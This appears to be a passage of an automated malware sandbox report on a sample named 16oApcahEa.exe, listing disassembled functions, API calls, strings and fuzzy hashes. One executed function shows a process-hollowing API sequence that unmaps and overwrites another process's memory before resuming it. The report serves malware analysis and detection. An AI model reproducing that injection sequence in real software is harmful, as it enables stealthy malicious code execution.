Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: fdbe42a344728da173aaffb759cf1833068a2ae622df2c82f5e54eb624a73014
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 0A51AF34B023069BDB258EA988887AEB7A5FF40320F14C7A9E875972D4E771FD508B54

Function 04D21359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 04D2137D

Part of subcall function 04D21A9D: __fltout2.LIBCMT ref: 04D21AC6

__cftog_l.LIBCMT ref: 04D213A3
__cftoe_l.LIBCMT ref: 04D213D5

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 7affd5ac5e693b1e987adeb76803f33642e78689d331c3cd4aa65e163cf210ac
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 0101783200015EBBCF126E84CE01CEE3F63FB29348B088515FA9858830D233E5B2AB91

Function 04DA7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 04DA7A4B

Part of subcall function 04DA8140: ___BuildCatchObjectHelper.LIBCMT ref: 04DA8172
Part of subcall function 04DA8140: ___AdjustPointer.LIBCMT ref: 04DA8189

_UnwindNestedFrames.LIBCMT ref: 04DA7A62
___FrameUnwindToState.LIBCMT ref: 04DA7A74
CallCatchBlock.LIBCMT ref: 04DA7A98

Memory Dump Source

Source File: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 7677e8ad9ae5ac30fe29e127dd2625e6a6961b90dd0e128ca737c666495ae13c
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: C701D336500109BBDF12AF55CC04EDA7BAAFF48758F158014FE5866120D772E9B1EBA0

Analysis Process: 16oApcahEa.exePID: 6556, Parent PID: 6388COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 04D50110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 04D50156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 04D5016C
CreateProcessA.KERNELBASE(?,00000000), ref: 04D50255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 04D50270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 04D50283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 04D5029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 04D502C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 04D502E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 04D50304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 04D5032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 04D50399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 04D503BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 04D503E1
ResumeThread.KERNELBASE(00000000), ref: 04D503ED
ExitProcess.KERNEL32(00000000), ref: 04D50412

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 2f6f4828e9efdb6ed9462ccb1bbd60bfb7fe1f36c09e35c120b25eadbe619ddd
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 7CB1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E949AB391D771AE41CF94

Function 04D50420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 04D50533

Strings

mfoaskdfnoa, xrefs: 04D50520, 04D50523
0, xrefs: 04D50492
saodkfnosa9uin, xrefs: 04D504DA
d, xrefs: 04D50584

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 3c34208427940b4bcd1ee6789a5851b93ab03f0f94b0fb899d6b49622305b259
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 58510970D08388DAEF11CBA8C849BDDBFB2AF15708F144058D5446F2D6C7BA6658CB66

Function 04D505B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 04D505EC

Strings

apfHQ, xrefs: 04D505E2, 04D505E5
o, xrefs: 04D50600

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c8d3cd69722603cbb68edf6f86a7ee943549b619d539b54bb9ed44f416e01335
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: B8011E70C0424CEBDF11DB98C5183AEBFB5AF41308F148099C8492B252D7769B58CBA1

Function 04AFE7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 04AFE7EE
Module32First.KERNEL32(00000000,00000224), ref: 04AFE80E

Memory Dump Source

Source File: 00000005.00000002.2112745886.0000000004AFE000.00000040.00000020.00020000.00000000.sdmp, Offset: 04AFE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4afe000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d5b82078ddad571d3cb040723b8ff96d8f55b5b3f52a7433a47a9ba194bbab69
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 58F090322007106FE7203FF9AC8DB6FB6E8AF89725F500629F752914D0DB74F8458AA1

Function 04AFE485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 04AFE4D6

Memory Dump Source

Source File: 00000005.00000002.2112745886.0000000004AFE000.00000040.00000020.00020000.00000000.sdmp, Offset: 04AFE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4afe000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: a6337df7ca7f45f15abec8f74b62b7f628ba1a4730a7471aa86f87264d5eda1c
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 42113F79A00208EFDB01DF98C985E99BFF5AF08350F058094FA489B361D375EA50DF80

Non-executed Functions

Function 04D76437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 04D7644E

Part of subcall function 04D79636: __calloc_impl.LIBCMT ref: 04D79645

__calloc_crt.LIBCMT ref: 04D76472
_free.LIBCMT ref: 04D76480
__calloc_crt.LIBCMT ref: 04D7648E
_free.LIBCMT ref: 04D7649E
_free.LIBCMT ref: 04D764A4
__copytlocinfo_nolock.LIBCMT ref: 04D764B3
__setmbcp_nolock.LIBCMT ref: 04D764D4
_free.LIBCMT ref: 04D764E2
___removelocaleref.LIBCMT ref: 04D764E9
___freetlocinfo.LIBCMT ref: 04D764F0
_free.LIBCMT ref: 04D764F6

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 9fb96d9e4383bde5e784198acf579f1a33534332373ee6ffe214f1773afac7f5
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: CC21F032348A11AEFB363F65DC05E1F7BE4EF41778B908129E484555A0FA22F540DB71

Function 04D73F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04D73F51

Part of subcall function 04D75BA8: __getptd_noexit.LIBCMT ref: 04D75BA8

__gmtime64_s.LIBCMT ref: 04D73FEA
__gmtime64_s.LIBCMT ref: 04D74020
__gmtime64_s.LIBCMT ref: 04D7403D
__allrem.LIBCMT ref: 04D74093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D740AF
__allrem.LIBCMT ref: 04D740C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D740E4
__allrem.LIBCMT ref: 04D740FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D74119
__invoke_watson.LIBCMT ref: 04D7418A

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 587b0a19586e46a78f1e4236f47474416e8c82ad6a0c5c75f509abd1254e5764
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: AE71B871B00B16ABE715AE79CC51B6AB3F8FF10768F14812AE914D7680F770F94487A0

Function 04D7650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 04D76547
__calloc_crt.LIBCMT ref: 04D76598
__lock.LIBCMT ref: 04D765AE
__copytlocinfo_nolock.LIBCMT ref: 04D765BF
_wcscmp.LIBCMT ref: 04D765F9
__lock.LIBCMT ref: 04D76610
__updatetlocinfoEx_nolock.LIBCMT ref: 04D76622
___removelocaleref.LIBCMT ref: 04D76628
__updatetlocinfoEx_nolock.LIBCMT ref: 04D76647

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 2d1263248971b26e1be3df0a309b6922f2ec801148e3eadb64704a02c51c3926
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 3C410432A04704AFFB01AFA4D984B9E7BE5FF04328F10846EE91496190FB75F544DB61

Function 04D784AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 04D784B1
_free.LIBCMT ref: 04D784E2
_free.LIBCMT ref: 04D784F5
_free.LIBCMT ref: 04D78513
_free.LIBCMT ref: 04D78525
_free.LIBCMT ref: 04D78536
_free.LIBCMT ref: 04D78541
_free.LIBCMT ref: 04D78565
_free.LIBCMT ref: 04D78581
_free.LIBCMT ref: 04D78597
_free.LIBCMT ref: 04D785BF

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 0f4868ac54d8d3991399b90fc0d05b233650ad4d90a6b12b1449f3c2ff1c2e66
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: EE31B131A00260DBDB25AF14FC8C84D77B4FB14324784862AF905572A0EBB4B9C9AFA4

Function 04D9FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 04D9FC1F

Part of subcall function 04D8169C: std::exception::_Copy_str.LIBCMT ref: 04D816B5

__CxxThrowException@8.LIBCMT ref: 04D9FC34
std::exception::exception.LIBCMT ref: 04D9FC4D
__CxxThrowException@8.LIBCMT ref: 04D9FC62
std::regex_error::regex_error.LIBCPMT ref: 04D9FC74

Part of subcall function 04D9F914: std::exception::exception.LIBCMT ref: 04D9F92E

__CxxThrowException@8.LIBCMT ref: 04D9FC82
std::exception::exception.LIBCMT ref: 04D9FC9B
__CxxThrowException@8.LIBCMT ref: 04D9FCB0

Strings

leM, xrefs: 04D9FCA8

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 4e11a32e3030c29bd0683dfa004623776b9f13f5ad9c810fc3c24da7e0f779f4
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: DC11EC79D0020DBBCF00FFA5D459CEEBBBCEA04244F40856AAD5497240EB74B7498BA4

Function 04D5F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04D5F01F

Part of subcall function 04D71602: __FF_MSGBANNER.LIBCMT ref: 04D71619
Part of subcall function 04D71602: __NMSG_WRITE.LIBCMT ref: 04D71620

_malloc.LIBCMT ref: 04D5F02B
_wprintf.LIBCMT ref: 04D5F03E
_free.LIBCMT ref: 04D5F044
_free.LIBCMT ref: 04D5F065
_malloc.LIBCMT ref: 04D5F06D
_sprintf.LIBCMT ref: 04D5F0C0
_wprintf.LIBCMT ref: 04D5F0D2
_wprintf.LIBCMT ref: 04D5F0DC
_free.LIBCMT ref: 04D5F0E5

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: e4ea63787593211efab2799d05d48d6f6542ac2ba74cf056d2985ef86324bc6e
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: EC1105B27005602AE76167B80C11FFF3AECDF46305F4801AAFF88D5280EA186A0493B1

Function 04D61960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04D619C6
__CxxThrowException@8.LIBCMT ref: 04D619F1
__CxxThrowException@8.LIBCMT ref: 04D61A1A
__CxxThrowException@8.LIBCMT ref: 04D61A4B
_memset.LIBCMT ref: 04D61A6A
__CxxThrowException@8.LIBCMT ref: 04D61A90
_malloc.LIBCMT ref: 04D61AA0
_memset.LIBCMT ref: 04D61AAB
_sprintf.LIBCMT ref: 04D61ACE

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: a6a26e925c58f3d574ab74481a57661b6b0faf468fc4cae7ae0e3e141ba65e31
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 9B512C71E40219BBEB11DFA5DC86FEFBBB8FB04744F100126F905B6190E7746A058BA5

Function 04D5F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04D5F284
__CxxThrowException@8.LIBCMT ref: 04D5F2AF
__CxxThrowException@8.LIBCMT ref: 04D5F2DE
__CxxThrowException@8.LIBCMT ref: 04D5F30F
_memset.LIBCMT ref: 04D5F32E
__CxxThrowException@8.LIBCMT ref: 04D5F354
_sprintf.LIBCMT ref: 04D5F373

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: ddd7d474ef27f16527c2ea6f3fd8ef9d2052a668921a4d043b950ed66c43dca1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: DE5121B1E40209ABEF11DFA1DC46FEEBB78FB05704F104129F905B6190EB75AA058BA5

Function 04D5F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04D5F4B7
__CxxThrowException@8.LIBCMT ref: 04D5F4E2
__CxxThrowException@8.LIBCMT ref: 04D5F504
__CxxThrowException@8.LIBCMT ref: 04D5F535
_memset.LIBCMT ref: 04D5F554
__CxxThrowException@8.LIBCMT ref: 04D5F57A
_sprintf.LIBCMT ref: 04D5F594

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: a90e8a933115facb3f3cd73f3c7295d72bf95cdaf8412660824f163fee2aaf27
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 35513371E40209ABEF11DFA5DC46FEFBBB8FB04704F100129F905B6190EA74B9058BA5

Function 04D9208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 04D920C6
__invoke_watson.LIBCMT ref: 04D92120
_strlen.LIBCMT ref: 04D920D4

Part of subcall function 04D75BA8: __getptd_noexit.LIBCMT ref: 04D75BA8

_strnlen.LIBCMT ref: 04D9215F
__lock.LIBCMT ref: 04D92170
__getenv_helper_nolock.LIBCMT ref: 04D9217B

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 0874bc6071e2fa851ba32ef3f7534c6664824d2cd811ff461123ce3324663489
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: E631B632B40215BAFF216AA4DC05B6E67D4EF05B68F104895E908EB280EB75BD4086B1

Function 04E166D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 04E166DD

Part of subcall function 04D759BF: __calloc_crt.LIBCMT ref: 04D759E2
Part of subcall function 04D759BF: __initptd.LIBCMT ref: 04D75A04

__calloc_crt.LIBCMT ref: 04E16700
__get_sys_err_msg.LIBCMT ref: 04E1671E
__invoke_watson.LIBCMT ref: 04E1673B
__get_sys_err_msg.LIBCMT ref: 04E1676D
__invoke_watson.LIBCMT ref: 04E1678B

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: 97e80f32aa897cdb1180a0cbf88e2235bce0b33d2513b47c0c5ab3412fa61d97
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: E71191727816147BFB226B399C40BBA779CEF016ADF010566FE08A6660F621FD0042E5

Function 04D62670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04D626DB
_memset.LIBCMT ref: 04D62A30
_memset.LIBCMT ref: 04D62AC0

Strings

D, xrefs: 04D62AC8

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: d132c3270cc911d0029523459910bb1695dfad858298bdb8be4ee578726384da
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: E5E14071D40219ABDF24DFA0DD49FEEB7B8FF04304F1441AAE50AA6190EB74AA45CF64

Function 04D5D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04D5D8EA

Strings

(, xrefs: 04D5DAE9
$, xrefs: 04D5DAE2
, xrefs: 04D5DADB

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 7528f3d61716a2f48445794fc9b7e74c639cdb46133db830dbba8ec5e1c7e670
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 5391AF71D002589BEF20CFA0CC49BEEBBB5EF05308F148169D81577290DBB66A48CF65

Function 04D75CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 04D75CF4

Strings

U, xrefs: 04D75CFD

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: c203538ab502ad5a4ef7bfd2cc88539a29f3558c48ff034bf1150e87620f2454
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: A121E73270820CBAFB009AA4FC55BBE73ECEB45664F60416AF908C6590FA71FD4086A5

Function 04D6A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04D6A858
_memset.LIBCMT ref: 04D6A869
_memset.LIBCMT ref: 04D6A87A

Strings

p2Q, xrefs: 04D6A882

Memory Dump Source

Source File: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d50000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: f1a97b0065685411d741d7c5bc4064ef821febfcec60964ad44da249c2b906f5
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 1AF0E578694750A5F7117750BC267957D917B31B0CF108045D1142E2E1E3FD334C6799

Function 04D9FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

